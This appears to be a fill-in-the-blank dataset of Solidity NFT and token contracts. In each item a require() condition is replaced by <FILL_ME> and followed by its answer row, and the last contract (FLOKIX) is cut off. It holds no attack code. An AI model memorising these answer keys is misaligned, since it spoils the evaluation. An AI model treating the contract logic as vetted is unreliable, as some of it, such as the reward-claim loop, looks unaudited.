function privateSaleMint(
PrivateSale memory _privateSale,
uint256 _nonce,
uint256 _kind,
bytes calldata _signature
) external payable {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function publicSaleMint(uint256 _quantity) external payable {
require(stage == Stage.Public || stage == Stage.Mint, "STAGE_NMATCH");
require(_quantity <= publicSale.txLimit, "TX_LIMIT_EXCEEDED");
require(
PublicSaleMinter[msg.sender] + _quantity <= publicSale.walletLimit,
"WALLET_LIMIT_EXCEEDED"
);
require(totalSupply() + _quantity <= maxSupply, "SUPPLY_EXCEEDED");
require(<FILL_ME>)
PublicSaleMinter[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function _verifyPrivateSale(
PrivateSale memory _privateSale,
address _sender,
uint256 _kind,
bytes calldata _sign
) internal view returns (address) {
}
function setPrivateSale(
uint256 _kind,
PrivateSale memory _privateSale
) external onlyOwner {
}
function updatePublicSale(
PublicSale memory _publicSale
) external onlyOwner {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setStage(Stage _stage) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setSigner(address _signer) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function setAuthorizedAddress(
address _authorizedAddress,
bool value
) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function burn(uint256 _tokenId) external onlyAuthorizedAddress {
}
/// @notice Set royalties for EIP 2981.
/// @param _recipient the recipient of royalty
/// @param _amount the amount of royalty (use bps)
function setRoyalties(
address _recipient,
uint96 _amount
) external onlyOwner {
}
/**
* @inheritdoc IGaspackAppImplementation
*/
function withdrawAll() external onlyOwner {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function tokenURI(
uint256 _id
) public view override returns (string memory) {
}
}
| msg.value>=(publicSale.price*_quantity),"INSUFFICIENT_FUND" | 68,585 | msg.value>=(publicSale.price*_quantity) |
"not the correct period id to claim" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// @cryptoconner simple but effective.
// this NFT Contract can take deposits of ERC20 Tokens and allows holders of the nft to claim a portion of thse tokens
// When you claim, you claim all past reward rounds at once.
// each reward round is initiated when the owner of the contract calls setreward ater depositing tokens
// when this it called it logs the amount deposited, the time, the current holder count, and the asset address in itself.
// there is only 1 nft per user.
//1 billion = 1eth mintPrice for gwei denomented price
//https://ipfs.io/ipfs/QmYapEVYpoAUDJmDrjiod7GPaFcjxZdM3mrfLAFGmWiG3q/ base uri
//encoded constructors: 0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004468747470733a2f2f697066732e696f2f697066732f516d596170455659706f4155444a6d44726a696f643747506146636a785a644d336d72664c4146476d57694733712f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004468747470733a2f2f697066732e696f2f697066732f516d596170455659706f4155444a6d44726a696f643747506146636a785a644d336d72664c4146476d57694733712f00000000000000000000000000000000000000000000000000000000
///
// steps for redeployment
// if you want to redeploy this and use it just deploy as usual feeding in your baseuri, and pub mint price ( in Gwei)
// then after deployment call setreveal, and togglepubmint
// once users have minted, send tokens to contract and call setreward(your deposited token address)
// holders may now claim that token.
// the withdraw function only pulls eth from minting fees, if you do not setreward then those ERC20 reward tokens are effectively locked in the contract
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract OfficialRuneStoneNFT is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _supply;
using SafeERC20 for IERC20;
struct TokenCycle {
IERC20 tokenaddress;
uint256 rewardsamount;
uint256 time;
uint256 currentholdercount;
}
uint256 public currentRewardPeriodId;
mapping(address=>uint256[]) public UserClaimableTokenAmount;
mapping(address => uint256) public amountofRewardRoundsuserholds;
mapping(IERC20=>uint256) public TokenID;
mapping(address => uint256) public lastUpdateTime; // userdeposittime
mapping(address =>IERC20[]) public UserClaimableTokens;
mapping(address => uint256) public usersPeriodId; // this use this to keep track of what rewards they are due
mapping(uint256 => TokenCycle) public rewardCycle;
//events
event ClaimedRewards(address to);
event minted(address to, uint256 quantity);
event Rewardsadded(IERC20 tokenaddress, uint256 amount);
string private baseURI;
string private baseExt = ".json";
bool public revealed = false;
string private notRevealedUri;
// Total supply
uint256 public constant MAX_SUPPLY = 2000;
// Public mint constants
bool public pubMintActive = false;
uint256 private constant PUB_MAX_PER_WALLET = 2; // 3/wallet (uses < to save gas)
//uint256 private constant PUB_MINT_PRICE = 0.065 ether;
bool private _locked = false; // for re-entrancy guard
uint256 public PUB_MINT_PRICE;
// Initializes the contract by setting a `name` and a `symbol`
constructor(string memory _initBaseURI, string memory _initNotRevealedUri, uint256 PUB_PRICE) ERC721("OfficialRuneStoneNFT", "RUNE") {
}
//if user is reward cycle 3 and we are on 6 his ids are 4 in length- 3-4-5-6
function FetchIdByDetails(IERC20 token) public view returns (uint256) {
}
function FetchTokenById(uint256 id) public view returns (IERC20) {
}
function FetchAmountById(uint256 id) public view returns (uint256) {
}
function FetchTimeById(uint256 id) public view returns (uint256) {
}
function FetchholdersById(uint256 id) public view returns (uint256) {
}
function approveERC20(address spender, uint256 amount, IERC20 token) private returns (bool) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual override {
}
function setReward(IERC20 tokenaddress) external onlyOwner {
}
function updateUsersRewardCycle(address account) private {
}
function updateRewardCycle(uint index, uint256 amount, IERC20 tokenaddress) private {
}
IERC20 public claimabletokens;
function ClaimAllTokens() public {
require(balanceOf(msg.sender) > 0, "Go buy an nft sir or madam");
require(<FILL_ME>)
for(uint i=usersPeriodId[msg.sender]; i < currentRewardPeriodId + 1; i++) {
claimabletokens = rewardCycle[i].tokenaddress;
approveERC20(msg.sender,rewardCycle[i].rewardsamount / rewardCycle[i].currentholdercount, claimabletokens);
updateUsersRewardCycle(msg.sender);
claimabletokens.transfer(msg.sender, rewardCycle[i].rewardsamount / rewardCycle[i].currentholdercount);
}
emit ClaimedRewards(msg.sender);
}
// Public mint
function publicMint(uint256 _quantity) external payable nonReentrant {
}
/**
* Airdrop for promotions & collaborations
* You can remove this block if you don't need it
*/
function airDropMint(address _to) external onlyOwner {
}
// Mint an NFT
function mint(address _to, uint256 _quantity) private {
}
// Toggle public sales activity
function togglePubMintActive() public onlyOwner {
}
// Get total supply
function totalSupply() public view returns (uint256) {
}
function setPrice(uint256 PUB_PRICE) public onlyOwner {
}
// Base URI
function _baseURI() internal view virtual override returns (string memory) {
}
// Set base URI
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
// Get metadata URI
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// Activate reveal
function setReveal() public onlyOwner {
}
// Set not revealed URI
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
// Withdraw balance
function withdraw() external onlyOwner {
}
// Receive any funds sent to the contract
receive() external payable {}
// Reentrancy guard modifier
modifier nonReentrant() {
}
}
| usersPeriodId[msg.sender]>0&&usersPeriodId[msg.sender]<=currentRewardPeriodId,"not the correct period id to claim" | 68,645 | usersPeriodId[msg.sender]>0&&usersPeriodId[msg.sender]<=currentRewardPeriodId |
"Not enough ETH." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// @cryptoconner simple but effective.
// this NFT Contract can take deposits of ERC20 Tokens and allows holders of the nft to claim a portion of thse tokens
// When you claim, you claim all past reward rounds at once.
// each reward round is initiated when the owner of the contract calls setreward ater depositing tokens
// when this it called it logs the amount deposited, the time, the current holder count, and the asset address in itself.
// there is only 1 nft per user.
//1 billion = 1eth mintPrice for gwei denomented price
//https://ipfs.io/ipfs/QmYapEVYpoAUDJmDrjiod7GPaFcjxZdM3mrfLAFGmWiG3q/ base uri
//encoded constructors: 0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004468747470733a2f2f697066732e696f2f697066732f516d596170455659706f4155444a6d44726a696f643747506146636a785a644d336d72664c4146476d57694733712f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004468747470733a2f2f697066732e696f2f697066732f516d596170455659706f4155444a6d44726a696f643747506146636a785a644d336d72664c4146476d57694733712f00000000000000000000000000000000000000000000000000000000
///
// steps for redeployment
// if you want to redeploy this and use it just deploy as usual feeding in your baseuri, and pub mint price ( in Gwei)
// then after deployment call setreveal, and togglepubmint
// once users have minted, send tokens to contract and call setreward(your deposited token address)
// holders may now claim that token.
// the withdraw function only pulls eth from minting fees, if you do not setreward then those ERC20 reward tokens are effectively locked in the contract
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract OfficialRuneStoneNFT is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _supply;
using SafeERC20 for IERC20;
struct TokenCycle {
IERC20 tokenaddress;
uint256 rewardsamount;
uint256 time;
uint256 currentholdercount;
}
uint256 public currentRewardPeriodId;
mapping(address=>uint256[]) public UserClaimableTokenAmount;
mapping(address => uint256) public amountofRewardRoundsuserholds;
mapping(IERC20=>uint256) public TokenID;
mapping(address => uint256) public lastUpdateTime; // userdeposittime
mapping(address =>IERC20[]) public UserClaimableTokens;
mapping(address => uint256) public usersPeriodId; // this use this to keep track of what rewards they are due
mapping(uint256 => TokenCycle) public rewardCycle;
//events
event ClaimedRewards(address to);
event minted(address to, uint256 quantity);
event Rewardsadded(IERC20 tokenaddress, uint256 amount);
string private baseURI;
string private baseExt = ".json";
bool public revealed = false;
string private notRevealedUri;
// Total supply
uint256 public constant MAX_SUPPLY = 2000;
// Public mint constants
bool public pubMintActive = false;
uint256 private constant PUB_MAX_PER_WALLET = 2; // 3/wallet (uses < to save gas)
//uint256 private constant PUB_MINT_PRICE = 0.065 ether;
bool private _locked = false; // for re-entrancy guard
uint256 public PUB_MINT_PRICE;
// Initializes the contract by setting a `name` and a `symbol`
constructor(string memory _initBaseURI, string memory _initNotRevealedUri, uint256 PUB_PRICE) ERC721("OfficialRuneStoneNFT", "RUNE") {
}
//if user is reward cycle 3 and we are on 6 his ids are 4 in length- 3-4-5-6
function FetchIdByDetails(IERC20 token) public view returns (uint256) {
}
function FetchTokenById(uint256 id) public view returns (IERC20) {
}
function FetchAmountById(uint256 id) public view returns (uint256) {
}
function FetchTimeById(uint256 id) public view returns (uint256) {
}
function FetchholdersById(uint256 id) public view returns (uint256) {
}
function approveERC20(address spender, uint256 amount, IERC20 token) private returns (bool) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual override {
}
function setReward(IERC20 tokenaddress) external onlyOwner {
}
function updateUsersRewardCycle(address account) private {
}
function updateRewardCycle(uint index, uint256 amount, IERC20 tokenaddress) private {
}
IERC20 public claimabletokens;
function ClaimAllTokens() public {
}
// Public mint
function publicMint(uint256 _quantity) external payable nonReentrant {
require(pubMintActive, "Public sale is closed at the moment.");
address _to = msg.sender;
require(_quantity > 0 && (balanceOf(_to) + _quantity) < PUB_MAX_PER_WALLET, "Invalid mint quantity.");
require(<FILL_ME>)
if(usersPeriodId[msg.sender] > 0 && usersPeriodId[msg.sender] <= currentRewardPeriodId) {
updateUsersRewardCycle(msg.sender);
ClaimAllTokens();
mint(_to, _quantity);
}else {
mint(_to, _quantity);
updateUsersRewardCycle(msg.sender);
}
}
/**
* Airdrop for promotions & collaborations
* You can remove this block if you don't need it
*/
function airDropMint(address _to) external onlyOwner {
}
// Mint an NFT
function mint(address _to, uint256 _quantity) private {
}
// Toggle public sales activity
function togglePubMintActive() public onlyOwner {
}
// Get total supply
function totalSupply() public view returns (uint256) {
}
function setPrice(uint256 PUB_PRICE) public onlyOwner {
}
// Base URI
function _baseURI() internal view virtual override returns (string memory) {
}
// Set base URI
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
// Get metadata URI
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// Activate reveal
function setReveal() public onlyOwner {
}
// Set not revealed URI
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
// Withdraw balance
function withdraw() external onlyOwner {
}
// Receive any funds sent to the contract
receive() external payable {}
// Reentrancy guard modifier
modifier nonReentrant() {
}
}
| msg.value>=(PUB_MINT_PRICE*_quantity),"Not enough ETH." | 68,645 | msg.value>=(PUB_MINT_PRICE*_quantity) |
"Max supply exceeded." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// @cryptoconner simple but effective.
// this NFT Contract can take deposits of ERC20 Tokens and allows holders of the nft to claim a portion of thse tokens
// When you claim, you claim all past reward rounds at once.
// each reward round is initiated when the owner of the contract calls setreward ater depositing tokens
// when this it called it logs the amount deposited, the time, the current holder count, and the asset address in itself.
// there is only 1 nft per user.
//1 billion = 1eth mintPrice for gwei denomented price
//https://ipfs.io/ipfs/QmYapEVYpoAUDJmDrjiod7GPaFcjxZdM3mrfLAFGmWiG3q/ base uri
//encoded constructors: 0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004468747470733a2f2f697066732e696f2f697066732f516d596170455659706f4155444a6d44726a696f643747506146636a785a644d336d72664c4146476d57694733712f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004468747470733a2f2f697066732e696f2f697066732f516d596170455659706f4155444a6d44726a696f643747506146636a785a644d336d72664c4146476d57694733712f00000000000000000000000000000000000000000000000000000000
///
// steps for redeployment
// if you want to redeploy this and use it just deploy as usual feeding in your baseuri, and pub mint price ( in Gwei)
// then after deployment call setreveal, and togglepubmint
// once users have minted, send tokens to contract and call setreward(your deposited token address)
// holders may now claim that token.
// the withdraw function only pulls eth from minting fees, if you do not setreward then those ERC20 reward tokens are effectively locked in the contract
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract OfficialRuneStoneNFT is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _supply;
using SafeERC20 for IERC20;
struct TokenCycle {
IERC20 tokenaddress;
uint256 rewardsamount;
uint256 time;
uint256 currentholdercount;
}
uint256 public currentRewardPeriodId;
mapping(address=>uint256[]) public UserClaimableTokenAmount;
mapping(address => uint256) public amountofRewardRoundsuserholds;
mapping(IERC20=>uint256) public TokenID;
mapping(address => uint256) public lastUpdateTime; // userdeposittime
mapping(address =>IERC20[]) public UserClaimableTokens;
mapping(address => uint256) public usersPeriodId; // this use this to keep track of what rewards they are due
mapping(uint256 => TokenCycle) public rewardCycle;
//events
event ClaimedRewards(address to);
event minted(address to, uint256 quantity);
event Rewardsadded(IERC20 tokenaddress, uint256 amount);
string private baseURI;
string private baseExt = ".json";
bool public revealed = false;
string private notRevealedUri;
// Total supply
uint256 public constant MAX_SUPPLY = 2000;
// Public mint constants
bool public pubMintActive = false;
uint256 private constant PUB_MAX_PER_WALLET = 2; // 3/wallet (uses < to save gas)
//uint256 private constant PUB_MINT_PRICE = 0.065 ether;
bool private _locked = false; // for re-entrancy guard
uint256 public PUB_MINT_PRICE;
// Initializes the contract by setting a `name` and a `symbol`
constructor(string memory _initBaseURI, string memory _initNotRevealedUri, uint256 PUB_PRICE) ERC721("OfficialRuneStoneNFT", "RUNE") {
}
//if user is reward cycle 3 and we are on 6 his ids are 4 in length- 3-4-5-6
function FetchIdByDetails(IERC20 token) public view returns (uint256) {
}
function FetchTokenById(uint256 id) public view returns (IERC20) {
}
function FetchAmountById(uint256 id) public view returns (uint256) {
}
function FetchTimeById(uint256 id) public view returns (uint256) {
}
function FetchholdersById(uint256 id) public view returns (uint256) {
}
function approveERC20(address spender, uint256 amount, IERC20 token) private returns (bool) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual override {
}
function setReward(IERC20 tokenaddress) external onlyOwner {
}
function updateUsersRewardCycle(address account) private {
}
function updateRewardCycle(uint index, uint256 amount, IERC20 tokenaddress) private {
}
IERC20 public claimabletokens;
function ClaimAllTokens() public {
}
// Public mint
function publicMint(uint256 _quantity) external payable nonReentrant {
}
/**
* Airdrop for promotions & collaborations
* You can remove this block if you don't need it
*/
function airDropMint(address _to) external onlyOwner {
}
// Mint an NFT
function mint(address _to, uint256 _quantity) private {
/**
* To save gas, since we know _quantity won't underflow / overflow
* Checks are performed in caller functions / methods
*/
unchecked {
require(<FILL_ME>)
for (uint256 i = 0; i < _quantity; i++) {
_safeMint(_to, _supply.current());
_supply.increment();
}
}
emit minted(_to, _quantity);
}
// Toggle public sales activity
function togglePubMintActive() public onlyOwner {
}
// Get total supply
function totalSupply() public view returns (uint256) {
}
function setPrice(uint256 PUB_PRICE) public onlyOwner {
}
// Base URI
function _baseURI() internal view virtual override returns (string memory) {
}
// Set base URI
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
// Get metadata URI
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// Activate reveal
function setReveal() public onlyOwner {
}
// Set not revealed URI
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
// Withdraw balance
function withdraw() external onlyOwner {
}
// Receive any funds sent to the contract
receive() external payable {}
// Reentrancy guard modifier
modifier nonReentrant() {
}
}
| (_quantity+_supply.current())<=MAX_SUPPLY,"Max supply exceeded." | 68,645 | (_quantity+_supply.current())<=MAX_SUPPLY |
'Exceeds max supply' | library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
/**
* @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.
*/
function toHexString(address addr) internal pure returns (string memory) {
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
pragma solidity ^0.8.4;
contract CyberRabbitAC is ERC721A, Ownable, ReentrancyGuard {
using Address for address;
using Strings for uint;
uint256 public MAX_SUPPLY = 5999;
uint256 public MAX_FREE_SUPPLY = 5999;
uint256 public MAX_PER_TX = 20;
string public baseTokenURI = "ipfs://bafybeiel4gwi57b46h7wwrl6ct5t3xast4inxkweragphjlhmtd2vkgy5m/";
uint256 public PRICE = 0.003 ether;
uint256 public MAX_FREE_PER_WALLET = 1;
bool public mintEnabled = false;
mapping(address => uint256) public perWalletFreeMinted;
constructor() ERC721A("CyberRabbitAC", "CBAC") {}
function devMint(address to, uint amount) external onlyOwner {
require(<FILL_ME>)
_safeMint(to, amount);
}
function mint(uint256 amount) external payable
{
}
function setBaseURI(string memory baseURI) public onlyOwner
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function withdraw() public onlyOwner nonReentrant {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory)
{
}
function setMintEnabled(bool _mintEnabled) external onlyOwner
{
}
function setPrice(uint256 _price) external onlyOwner
{
}
function setMaxLimitPerTransaction(uint256 _limit) external onlyOwner
{
}
function setLimitFreeMintPerWallet(uint256 _limit) external onlyOwner
{
}
function setMaxFreeAmount(uint256 _amount) external onlyOwner
{
}
}
| _totalMinted()+amount<=MAX_SUPPLY,'Exceeds max supply' | 68,687 | _totalMinted()+amount<=MAX_SUPPLY |
"Wallet is already not flagged." | // SPDX-License-Identifier: MIT
/**
$XFLOKI
https://xfloki.net/
https://twitter.com/xflokioffical
https://t.me/xflokioffical
*/
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount)
internal
virtual
{
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership(bool confirmRenounce)
external
virtual
onlyOwner
{
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface ILpPair {
function sync() external;
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract FLOKIX is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public operationsAddress;
uint256 public tradingActiveBlock = 0;
uint256 public blockForPenaltyEnd;
mapping(address => bool) public isBot;
address[] public earlyBuyers;
uint256 public botsCaught;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public sellingEnabled = true;
